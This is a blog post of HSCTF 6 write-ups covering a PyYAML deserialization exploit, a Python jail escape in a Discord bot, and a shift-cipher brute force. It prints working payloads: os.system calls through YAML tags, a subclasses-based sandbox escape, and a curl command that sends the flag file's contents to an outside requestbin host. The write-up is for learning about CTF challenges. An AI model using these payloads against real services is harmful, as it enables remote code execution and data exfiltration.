Home Writeups Contact

HSCTF 6 [JSON Info, Keith Bot, A Lost Cause]

This was a really fun CTF, my team Dc1ph3r ended up coming 19th with 11851 points :D
I will be releasing more writeups onto here as I write them.

Json Info - Misc

desc

Hint: Try to make it fail.

In this challenge, you are given a service to connect to with socat - tcp:misc.hsctf.com:9999
The service essentially just checks if you entered an object, and then returns the number of members

json test

After playing around with it, you can cause some errors by just putting unexpected values, or an uneven amount of curly brackets:

json error

To me, this error message did not look like something that would happen while parsing JSON, so after searching the message while parsing a flow mapping I was met with a ton of forum posts asking for help with YAML, which is definitely not JSON.

I then found a video and article talking about arbitrary code execution with PyYaml's yaml.load()

Note: You can use yaml.safe_load() to avoid this vulnerability

By using the apply tag, we can exploit this.

>socat - tcp:misc.hsctf.com:9999
Welcome to JSON info!
Please enter your JSON:
!!python/object/apply:os.system ["ls"]
bin
boot
dev
etc
flag.txt
home
json_info.py
...
Type int is unsupported
Please use a valid JSON array or object
Thank you for using JSON info!

Followed by !!python/object/apply:os.system ["cat flag.txt"] will give us the flag!:

>socat - tcp:misc.hsctf.com:9999
Welcome to JSON info!
Please enter your JSON:
!!python/object/apply:os.system ["cat flag.txt"]
hsctf{JS0N_or_Y4ML}



Keith Bot - Misc

desc 2
File available here: https://hastebin.com/afalupuduc.py

Note: Due to someone taking advantage of the fact that the bot token was available to anyone that solved the challenge, this challenge (along with others) was compromised and was updated with a new file called eval.py to hide the token. Because of that, my solution might need some small adgustments to work with the new version.

This challenge was essentially a python jail escape. We are given a bot written with the discord library discord.py.
If you didn't understand how discord bots work, there is essentially a prefix you use to call commands. The prefix is identifiable from this line:
bot = commands.Bot(command_prefix=commands.when_mentioned_or('_'))

The only command present in the bot, is eval (called with _eval)
The first 2 lines create an environment dictionary, and then cleanup the code

env = {'__builtins__': {}} # removes all builtins
body = cleanup_code(body) # runs through cleanup code func, which will make it so you can use the discord code formatting backticks in your command.

It will then put the argument you pass to _eval inside a function, and attempt to use exec on it

to_compile = f'async def func():\n{textwrap.indent(body, "  ")}'
try:
   exec(to_compile, env)

exec is similar to eval in python , but exec can take entire blocks of code (such a a function) whereas eval can only take expressions.

In this case, the to_compile function (that has our argument in it) is executed within the environment stated above. This is important, because the environment specified has no builitns (print, eval, etc)

Now that we understand the code, it's a good time to set up the bot locally to see how it works better. You can do this by going to discord's developer portal and setting up a bot to aquire a token. Once you have a token you can replace the bot.run() line with your token, and invite it to your server to DM it.

testing I played around with it to test that we do in fact not have access to builtins.

After doing some research, I came across this blogpost from Gynvael (if you don't know him, I highly recommend checking him out) which provided some tips, and other resources for python jail escaping.

classes = {}.__class__.__base__.__subclasses__()  
b = classes[49]()._module.__builtins__  # 49 is the index of catch_warnings, which supplies you with some >helpful things
# Although this works in python2, the bot is in python3 so we'll have to adapt it.
m = b['__import__']('os')  
m.system("bla bla")

I also came across this blogpost, which explained the very helpful line
().__class__.__bases__[0].__subclasses__()

().__class__.__bases__[0]
[This is] a fancy way of saying “object”. The first base class of a tuple is “object”. Remember, we can’t simply say “object”, since we have no builtins. But we can create objects with literal syntax, and then use attributes from there. Once we have object, we can get the list of all the subclasses of object:
().__class__.__bases__[0].__subclasses__()
or in other words, a list of all the classes that have been instantiated to this point in the program.

We can test this out by trying to evaluate with a random index:
more bot testing Now we need to find the correct index, and we will be able to get code execution.
We can find it quickly by doing a list comprehension, and then cat out the flag.

_eval ```py
a = [i for i in ().__class__.__bases__[0].__subclasses__() if i.__name__ == "catch_warnings"][0]
b = a()._module.__builtins__
c = b['__import__']('os')
c.system('curl -X POST -d "flag=$(cat flag.txt)" http://requestbin.net/r/REQUEST')

If I were to do this challenge again, I would have used a class that just allowed to me open the file so I could use return and have the bot simply return the flag, but because I wanted to just finish the challenge I send a request to a requestbin with the flag as the cookie. Flag: hsctf{discord_bot_pyjail_uwu_030111}

A Lost Cause - Crypto

desc 3
This was a fun small scripting challenge.
Because there are only 25 possible outcomes (first letter has to have a shift of 1-26, the rest go down 1 at a time), we can easily bruteforce this.

li = dict(zip("ABCDEFGHIJKLMNOPQRSTUVWXYZ",range(26))) # letter -> integer
il = dict(zip(range(26),"ABCDEFGHIJKLMNOPQRSTUVWXYZ")) # integer -> letter

cipher = "CGULKVIPFRGDOOCSJTRRVMORCQDZG"

for i in range(1, 26):
    sub = 0 # counter for what to subtract by
    m = "" # message
    for l in cipher:
        nc = (li[l] + (i - sub)) % 26 # get integer representation of new letter
        m += il[nc] # add letter to message
        sub -= 1 # reduce the subtraction counter by 1
    print(m)

running this outputs:

>python3 ape.py
DIXPPBPXOBRPBCRIALKLQILPBQEBJ
EJYQQCQYPCSQCDSJBMLMRJMQCRFCK
FKZRRDRZQDTRDETKCNMNSKNRDSGDL
GLASSESAREUSEFULDONOTLOSETHEM
HMBTTFTBSFVTFGVMEPOPUMPTFUIFN
INCUUGUCTGWUGHWNFQPQVNQUGVJGO
JODVVHVDUHXVHIXOGRQRWORVHWKHP
KPEWWIWEVIYWIJYPHSRSXPSWIXLIQ
LQFXXJXFWJZXJKZQITSTYQTXJYMJR
MRGYYKYGXKAYKLARJUTUZRUYKZNKS
NSHZZLZHYLBZLMBSKVUVASVZLAOLT
OTIAAMAIZMCAMNCTLWVWBTWAMBPMU
...

Since the only one that makes sense is GLASSESAREUSEFULDONOTLOSETHEM that's probably the flag!
Flag: hsctf{GLASSESAREUSEFULDONOTLOSETHEM}

more to be added!